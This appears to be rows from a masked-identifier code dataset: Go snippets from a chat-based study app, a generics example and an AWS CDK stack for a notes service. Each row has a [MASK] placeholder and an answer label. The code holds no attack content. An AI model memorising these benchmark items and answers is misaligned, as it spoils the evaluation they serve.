runtime.LogError(a.ctx, ""Failed to get class sessions: ""+err.Error()) return nil, err } return sessions, nil } // Greet returns a greeting for the given name func (a *App) Greet(name string) string { return fmt.Sprintf(""Hello %s, It's show time!"", name) } // beforeClose is called when the app is about to quit func (a *App) beforeClose(ctx context.Context) bool { return false } // shutdown is called at application termination func (a *App) shutdown(ctx context.Context) { } // StartSessionConversation initiates a conversation for the current factoid in a session func (a *App) StartSessionConversation(classUUID string) (string, error) { ctx := context.Background() cm := chatmaster.NewChatMaster(a.openaiClient) response, err := cm.StartSessionConversation(ctx, classUUID) if err != nil { runtime.LogError(a.ctx, ""Failed to start session conversation: ""+err.Error()) return """", err } cleanResponse := chatmaster.ExtractResponseContent(response) return cleanResponse, nil } func (a *App) GetTotalFactoidsCount(classUUID string) (int, error) { count, err := db.CountAllFactoids(classUUID) if err != nil { runtime.LogError(a.ctx, ""Failed to count all factoids: ""+err.Error()) return 0, err } return count, nil } func (a *App) UpdateProfileTotalPossibleDrops(classUUID string) error { err := db.UpdateProfileTotalPossibleDrops(classUUID) if err != nil { runtime.LogError(a.ctx, ""Failed to update profile total possible drops: ""+err.Error()) return err } return nil }",newGlowColor 519,"package main import ""fmt"" // Data is a generic struct with two generic types type Data[K comparable, V any] struct { Key K Value V } // getSliceData returns a slice of Data[K, V] func getSliceData[K comparable, V any](m map[K]V) []Data[K, V] { // define a slice with Data type passing K, V type parameters d := make([]Data[K, V], len(m)) i := 0 for k, v := range m { // creating value of generic type of Data newData := Data[K, V]{} newData.Key = k newData.Value = v d[i] = newData i++ } return d } func main() { data := getSliceData(map[string]string{ ""go"": ""Go programming language"", ""rs"": ""Rust programming language"", ""zig"": ""Zig programming language"", }) for _, v := range data { fmt.Printf(""Key: %s Value:%s\n"", v.Key, v.Value) } [MASK] := getSliceData(map[int]string{ 1: ""Go programming language"", 2: ""Rust programming language"", 3: ""Zig programming language"", }) for _, v := range [MASK] { fmt.Printf(""Key: %d Value:%s\n"", v.Key, v.Value) } } ",data1 520,"package main import ( ""os"" ""github.com/aws/aws-cdk-go/awscdk/v2"" ""github.com/aws/aws-cdk-go/awscdk/v2/awsapigatewayv2"" ""github.com/aws/aws-cdk-go/awscdk/v2/awscertificatemanager"" ""github.com/aws/aws-cdk-go/awscdk/v2/awscloudfront"" ""github.com/aws/aws-cdk-go/awscdk/v2/awsecrassets"" ""github.com/aws/aws-cdk-go/awscdk/v2/awsevents"" ""github.com/aws/aws-cdk-go/awscdk/v2/awseventstargets"" ""github.com/aws/aws-cdk-go/awscdk/v2/awsiam"" ""github.com/aws/aws-cdk-go/awscdk/v2/awslambda"" ""github.com/aws/aws-cdk-go/awscdk/v2/awslambdaeventsources"" ""github.com/aws/aws-cdk-go/awscdk/v2/awsroute53"" ""github.com/aws/aws-cdk-go/awscdk/v2/awsroute53targets"" ""github.com/aws/aws-cdk-go/awscdk/v2/awss3"" ""github.com/aws/aws-cdk-go/awscdk/v2/awss3assets"" ""github.com/aws/aws-cdk-go/awscdk/v2/awss3deployment"" ""github.com/aws/aws-cdk-go/awscdk/v2/awssqs"" ""github.com/aws/aws-cdk-go/awscdkapigatewayv2alpha/v2"" ""github.com/aws/aws-cdk-go/awscdkapigatewayv2integrationsalpha/v2"" ""github.com/aws/aws-cdk-go/awscdklambdagoalpha/v2"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/constructs-go/constructs/v10"" ""github.com/aws/jsii-runtime-go"" ) type RocketnotesStackProps struct { awscdk.StackProps CognitoAppClientId string CognitoUserPoolId string Domain string Subdomain string } func RocketnotesStack( [MASK] constructs.Construct, id string, props *RocketnotesStackProps) awscdk.Stack { var sprops awscdk.StackProps if props != nil { sprops = props.StackProps } stack := awscdk.NewStack( [MASK] , &id, &sprops) lambdaBasicExecutionPolicy := awsiam.ManagedPolicy_FromManagedPolicyArn(stack, aws.String(""AWSLambdaBasicExecutionRole""), aws.String(""arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole"")) dynamoDbFullAccessPolicy := awsiam.ManagedPolicy_FromManagedPolicyArn(stack, aws.String(""AmazonDynamoDBFullAccess""), aws.String(""arn:aws:iam::aws:policy/AmazonDynamoDBFullAccess"")) sqsFullAccessPolicy := awsiam.ManagedPolicy_FromManagedPolicyArn(stack, aws.String(""AmazonSQSFullAccess""), aws.String(""arn:aws:iam::aws:policy/AmazonSQSFullAccess"")) s3FullAccessPolicy := awsiam.ManagedPolicy_FromManagedPolicyArn(stack, aws.String(""AmazonS3FullAccess""), aws.String(""arn:aws:iam::aws:policy/AmazonS3FullAccess"")) lambdaSqsDynamoDbRole := awsiam.NewRole(stack, aws.String(""lambdaSqsDynamoDbRole""), &awsiam.RoleProps{ AssumedBy: awsiam.NewServicePrincipal(aws.String(""lambda.amazonaws.com""), &awsiam.ServicePrincipalOpts{}), ManagedPolicies: &[]awsiam.IManagedPolicy{ lambdaBasicExecutionPolicy, dynamoDbFullAccessPolicy, sqsFullAccessPolicy, }, }) lambdaDynamoDbRole := awsiam.NewRole(stack, aws.String(""lambdaDynamoDbRole""), &awsiam.RoleProps{ AssumedBy: awsiam.NewServicePrincipal(aws.String(""lambda.amazonaws.com""), &awsiam.ServicePrincipalOpts{}), ManagedPolicies: &[]awsiam.IManagedPolicy{ lambdaBasicExecutionPolicy, dynamoDbFullAccessPolicy, }, }) lambdaS3SqsDynamoDbRole := awsiam.NewRole(stack, aws.String(""lambdaS3SqsDynamoDbRole""), &awsiam.RoleProps{ AssumedBy: awsiam.NewServicePrincipal(aws.String(""lambda.amazonaws.com""), &awsiam.ServicePrincipalOpts{}), ManagedPolicies: &[]awsiam.IManagedPolicy{ dynamoDbFullAccessPolicy, sqsFullAccessPolicy, lambdaBasicExecutionPolicy, s3FullAccessPolicy, }, }) lambdaS3DynamoDbRole := awsiam.NewRole(stack, aws.String(""lambdaS3DynamoDbRole""), &awsiam.RoleProps{ AssumedBy: awsiam.NewServicePrincipal(aws.String(""lambda.amazonaws.com""), &awsiam.ServicePrincipalOpts{}), ManagedPolicies: &[]awsiam.IManagedPolicy{ lambdaBasicExecutionPolicy, s3FullAccessPolicy, dynamoDbFullAccessPolicy, }, }) // Http Api with Authorization httpApi := awscdkapigatewayv2alpha.NewHttpApi(stack, jsii.String(""MyHttpApi""), &awscdkapigatewayv2alpha.HttpApiProps{ ApiName: jsii.String(""MyHttpApi""), CorsPreflight: &awscdkapigatewayv2alpha.CorsPreflightOptions{ AllowOrigins: jsii.Strings(""*""), AllowHeaders: jsii.Strings(""*""), AllowMethods: &[]awscdkapigatewayv2alpha.CorsHttpMethod{ awscdkapigatewayv2alpha.CorsHttpMethod_OPTIONS, awscdkapigatewayv2alpha.CorsHttpMethod_GET, awscdkapigatewayv2alpha.CorsHttpMethod_POST, awscdkapigatewayv2alpha.CorsHttpMethod_DELETE, }, }, }) authorizer := awscdkapigatewayv2alpha.NewHttpAuthorizer(stack, jsii.String(""MyHttpAuthorizer""), &awscdkapigatewayv2alpha.HttpAuthorizerProps{ AuthorizerName: jsii.String(""MyHttpAuthorizer""), HttpApi: httpApi, Type: awscdkapigatewayv2alpha.HttpAuthorizerType_JWT, JwtIssuer: jsii.String(""https://cognito-idp."" + *props.Env.Region + "".amazonaws.com/"" + props.CognitoUserPoolId), JwtAudience: jsii.Strings(props.CognitoAppClientId), // Look this up in Cognito Userpool App Client settings. It’s the App client ID. IdentitySource: jsii.Strings(""$request.header.Authorization""), }) httpApiAuthorizer := awscdkapigatewayv2alpha.HttpAuthorizer_FromHttpAuthorizerAttributes(stack, jsii.String(""MyHttpAuthorizer4Test""), &awscdkapigatewayv2alpha.HttpAuthorizerAttributes{ AuthorizerId: authorizer.AuthorizerId(), AuthorizerType: jsii.String(""JWT""), }) // GET Document Api getDocumentHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""GET-Document""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""GET-Document""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/get-document-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/document/{documentId}""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_GET}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""MyHttpLambdaIntegration""), getDocumentHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // GET User Config Api getUserConfigHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""GET-UserConfig""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""GET-UserConfig""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/get-user-config-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/userConfig/{userId}""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_GET}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""MyHttpLambdaIntegration""), getUserConfigHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // GET Shared Document Api getSharedDocumentHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""GET-Shared-Document""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""GET-Shared-Document""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/get-shared-document-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/shared/{documentId}""), Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_GET}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""MyHttpLambdaIntegration""), getSharedDocumentHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // GET Document Tree Api getDocumentTreeHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""GET-DocumentTree""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""GET-DocumentTree""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/get-document-tree-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/documentTree/{userId}""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_GET}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""MyHttpLambdaIntegration""), getDocumentTreeHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // GET search Documents API searchDocumentHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""GET-search-Documents""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""GET-search-Documents""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/search-document-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/search-documents/{userId}""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_GET}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""MyHttpLambdaIntegration""), searchDocumentHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // POST delete Document API // TODO // Eventbridge eventBus := awsevents.NewEventBus(stack, jsii.String(""myEventBus""), &awsevents.EventBusProps{ EventBusName: jsii.String(""MyEventBus""), }) apiRole := awsiam.NewRole(stack, jsii.String(""EventBridgeIntegrationRole""), &awsiam.RoleProps{ AssumedBy: awsiam.NewServicePrincipal(jsii.String(""apigateway.amazonaws.com""), &awsiam.ServicePrincipalOpts{}), }) apiRole.AddToPolicy( awsiam.NewPolicyStatement(&awsiam.PolicyStatementProps{ Effect: awsiam.Effect_ALLOW, Resources: &[]*string{jsii.String(*eventBus.EventBusArn())}, Actions: &[]*string{jsii.String(""events:putEvents"")}, }), ) // Save Document Api rule := awsevents.NewRule(stack, jsii.String(""myEventBusRule""), &awsevents.RuleProps{ EventBus: eventBus, EventPattern: &awsevents.EventPattern{ Source: &[]*string{jsii.String(""MyCdkApp"")}, DetailType: &[]*string{jsii.String(""message-for-queue"")}, Region: &[]*string{props.Env.Region}, }, }) queue := awssqs.NewQueue(stack, jsii.String(""EventbridgeSqsQueue""), &awssqs.QueueProps{ VisibilityTimeout: awscdk.Duration_Seconds(jsii.Number(30)), RetentionPeriod: awscdk.Duration_Seconds(jsii.Number(60)), }) vectorQueue := awssqs.NewQueue(stack, jsii.String(""VectorSqsQueue""), &awssqs.QueueProps{ VisibilityTimeout: awscdk.Duration_Seconds(jsii.Number(900)), RetentionPeriod: awscdk.Duration_Seconds(jsii.Number(1200)), }) rule.AddTarget(awseventstargets.NewSqsQueue(queue, &awseventstargets.SqsQueueProps{})) integration := awscdkapigatewayv2alpha.NewHttpIntegration(stack, jsii.String(""myEventBridgeHttpIntegration""), &awscdkapigatewayv2alpha.HttpIntegrationProps{ HttpApi: httpApi, IntegrationType: awscdkapigatewayv2alpha.HttpIntegrationType_AWS_PROXY, IntegrationSubtype: awscdkapigatewayv2alpha.HttpIntegrationSubtype_EVENTBRIDGE_PUT_EVENTS, Credentials: awscdkapigatewayv2alpha.IntegrationCredentials_FromRole(apiRole), ParameterMapping: awscdkapigatewayv2alpha.ParameterMapping_FromObject(&map[string]awscdkapigatewayv2alpha.MappingValue{ ""Source"": awscdkapigatewayv2alpha.MappingValue_Custom(jsii.String(""MyCdkApp"")), ""DetailType"": awscdkapigatewayv2alpha.MappingValue_Custom(jsii.String(""message-for-queue"")), ""Detail"": awscdkapigatewayv2alpha.MappingValue_Custom(jsii.String(""$request.body"")), ""EventBusName"": awscdkapigatewayv2alpha.MappingValue_Custom(eventBus.EventBusArn()), }), PayloadFormatVersion: awscdkapigatewayv2alpha.PayloadFormatVersion_VERSION_1_0(), }) awsapigatewayv2.NewCfnRoute(stack, jsii.String(""myEventRoute""), &awsapigatewayv2.CfnRouteProps{ ApiId: httpApi.HttpApiId(), RouteKey: jsii.String(""POST /saveDocument""), Target: jsii.String(""integrations/"" + *integration.IntegrationId()), AuthorizerId: authorizer.AuthorizerId(), AuthorizationType: jsii.String(""JWT""), }) awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""POST-Document""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""POST-Document""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/save-document-handler/main.go""), Events: &[]awslambda.IEventSource{ awslambdaeventsources.NewSqsEventSource(queue, &awslambdaeventsources.SqsEventSourceProps{ BatchSize: jsii.Number(1), }), }, Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Environment: &map[string]*string{""queueUrl"": vectorQueue.QueueUrl()}, Role: lambdaSqsDynamoDbRole, }) // POST Save User Config Api postUserConfigHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""POST-UserConfig""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""POST-UserConfig""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/save-user-config-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Environment: &map[string]*string{""queueUrl"": vectorQueue.QueueUrl()}, Role: lambdaSqsDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/userConfig""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_POST}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""postUserConfigLambdaIntegration""), postUserConfigHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // POST DocumentTree Api postDocumentTreeHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""POST-DocumentTree""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""POST-DocumentTree""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/save-document-tree-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/saveDocumentTree""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_POST}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""postDocumentTreeLambdaIntegration""), postDocumentTreeHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // POST Set Document Title Api postDocumentTitleHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""POST-DocumentTitle""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""POST-DocumentTitle""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/save-document-title-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/saveDocumentTitle""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_POST}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""postDocumentTitleLambdaIntegration""), postDocumentTitleHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // POST Share Document Api postShareDocumentHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""POST-share-Document""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""POST-share-Document""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/save-document-public-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/shareDocument""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_POST}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""postShareDocumentLambdaIntegration""), postShareDocumentHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // DELETE Document Api deleteDocumentHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""DELETE-Document""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""DELETE-Document""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/delete-document-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaSqsDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/deleteDocument/{id}""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_DELETE}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""deleteDocumentLambdaIntegration""), deleteDocumentHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // Save Vector embeddings bucket := awss3.NewBucket(stack, jsii.String(""VectorEmbeddingsBucket""), &awss3.BucketProps{ BucketName: jsii.String(""rocketnotes-vector-embeddings""), PublicReadAccess: jsii.Bool(false), AccessControl: awss3.BucketAccessControl_BUCKET_OWNER_FULL_CONTROL, }) awslambda.NewDockerImageFunction(stack, jsii.String(""VectorEmbeddingsHandler""), &awslambda.DockerImageFunctionProps{ FunctionName: jsii.String(""VectorEmbeddings-Docker""), Code: awslambda.DockerImageCode_FromImageAsset(jsii.String(""../handler-py/rocketnotes_handler""), &awslambda.AssetImageCodeProps{ File: jsii.String(""handler_vector_embeddings/Dockerfile""), Platform: awsecrassets.Platform_LINUX_AMD64(), }), Events: &[]awslambda.IEventSource{ awslambdaeventsources.NewSqsEventSource(vectorQueue, &awslambdaeventsources.SqsEventSourceProps{ BatchSize: jsii.Number(1), }), }, Environment: &map[string]*string{""BUCKET_NAME"": bucket.BucketName()}, Role: lambdaS3SqsDynamoDbRole, MemorySize: jsii.Number(1024), Timeout: awscdk.Duration_Seconds(jsii.Number(900)), }) // Semantic search handler semanticSearchHandler := awslambda.NewDockerImageFunction(stack, jsii.String(""SemanticSearchHandler""), &awslambda.DockerImageFunctionProps{ FunctionName: jsii.String(""SemanticSearch-Docker""), Code: awslambda.DockerImageCode_FromImageAsset(jsii.String(""../handler-py/rocketnotes_handler""), &awslambda.AssetImageCodeProps{ File: jsii.String(""handler_semantic_search/Dockerfile""), Platform: awsecrassets.Platform_LINUX_AMD64(), }), Environment: &map[string]*string{""BUCKET_NAME"": bucket.BucketName()}, Role: lambdaS3DynamoDbRole, MemorySize: jsii.Number(1024), Timeout: awscdk.Duration_Seconds(jsii.Number(900)), }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/semanticSearch""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_POST}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""semanticSearchLambdaIntegration""), semanticSearchHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // Chat handler chatHandler := awslambda.NewDockerImageFunction(stack, jsii.String(""ChatHandler""), &awslambda.DockerImageFunctionProps{ FunctionName: jsii.String(""Chat-Docker""), Code: awslambda.DockerImageCode_FromImageAsset(jsii.String(""../handler-py/rocketnotes_handler""), &awslambda.AssetImageCodeProps{ File: jsii.String(""handler_chat/Dockerfile""), Platform: awsecrassets.Platform_LINUX_AMD64(), }), Environment: &map[string]*string{""BUCKET_NAME"": bucket.BucketName()}, Role: lambdaS3DynamoDbRole, MemorySize: jsii.Number(1024), Timeout: awscdk.Duration_Seconds(jsii.Number(900)), }) chatHandlerVersion := chatHandler.CurrentVersion() awslambda.NewAlias(stack, jsii.String(""ChatHandlerAlias""), &awslambda.AliasProps{ AliasName: jsii.String(""chatHandlerAliasProd""), Version: chatHandlerVersion, ProvisionedConcurrentExecutions: jsii.Number(1), }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/chat""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_POST}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""chatLambdaIntegration""), chatHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // Zettelkasten handler // get zettel kasten getZettelKastenHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""GET-ZettelKasten""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""GET-ZettelKasten""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/get-zettelkasten-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/zettelkasten/{userId}""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_GET}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""getZettelkastenLambdaIntegration""), getZettelKastenHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // save zettel saveZettelHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""POST-save-Zettel""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""POST-save-Zettel""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/save-zettel-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/saveZettel""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_POST}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""saveZettelLambdaIntegration""), saveZettelHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // delete zettel deleteZettelHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""DELETE-Zettel""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""DELETE-Zettel""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/delete-zettel-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/deleteZettel/{id}""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_DELETE}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""deleteZettelLambdaIntegration""), deleteZettelHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // archive zettel archiveZettelHandler := awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""POST-archive-Zettel""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""POST-archive-Zettel""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/archive-zettel-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Environment: &map[string]*string{""queueUrl"": vectorQueue.QueueUrl()}, Role: lambdaSqsDynamoDbRole, }) httpApi.AddRoutes(&awscdkapigatewayv2alpha.AddRoutesOptions{ Path: jsii.String(""/archiveZettel/{documentId}""), Authorizer: httpApiAuthorizer, Methods: &[]awscdkapigatewayv2alpha.HttpMethod{awscdkapigatewayv2alpha.HttpMethod_POST}, Integration: awscdkapigatewayv2integrationsalpha.NewHttpLambdaIntegration(jsii.String(""archiveZettelLambdaIntegration""), archiveZettelHandler, &awscdkapigatewayv2integrationsalpha.HttpLambdaIntegrationProps{}), }) // sign-up confirmation lambda handler awscdklambdagoalpha.NewGoFunction(stack, jsii.String(""Sign-up-confirmation-handler""), &awscdklambdagoalpha.GoFunctionProps{ FunctionName: jsii.String(""Sign-up-confirmation-handler""), Runtime: awslambda.Runtime_PROVIDED_AL2(), Entry: jsii.String(""../handler-go/sign-up-confirmation-handler""), Bundling: &awscdklambdagoalpha.BundlingOptions{ GoBuildFlags: &[]*string{jsii.String(`-ldflags ""-s -w""`)}, }, Role: lambdaSqsDynamoDbRole, }) // hosted zone & certificate zone := awsroute53.HostedZone_FromLookup(stack, jsii.String(""MyHostedZone""), &awsroute53.HostedZoneProviderProps{ DomainName: jsii.String(props.Domain), }) certificateArn := awscertificatemanager.NewDnsValidatedCertificate(stack, jsii.String(""MySiteCertificate""), &awscertificatemanager.DnsValidatedCertificateProps{ DomainName: jsii.String(""*."" + props.Domain), HostedZone: zone, Region: jsii.String(""us-east-1""), // Cloudfront only checks this region for certificates. }) cloudfrontOAI := awscloudfront.NewOriginAccessIdentity(stack, jsii.String(""MyOriginAccessIdentity""), &awscloudfront.OriginAccessIdentityProps{ Comment: jsii.String(""OAI for "" + 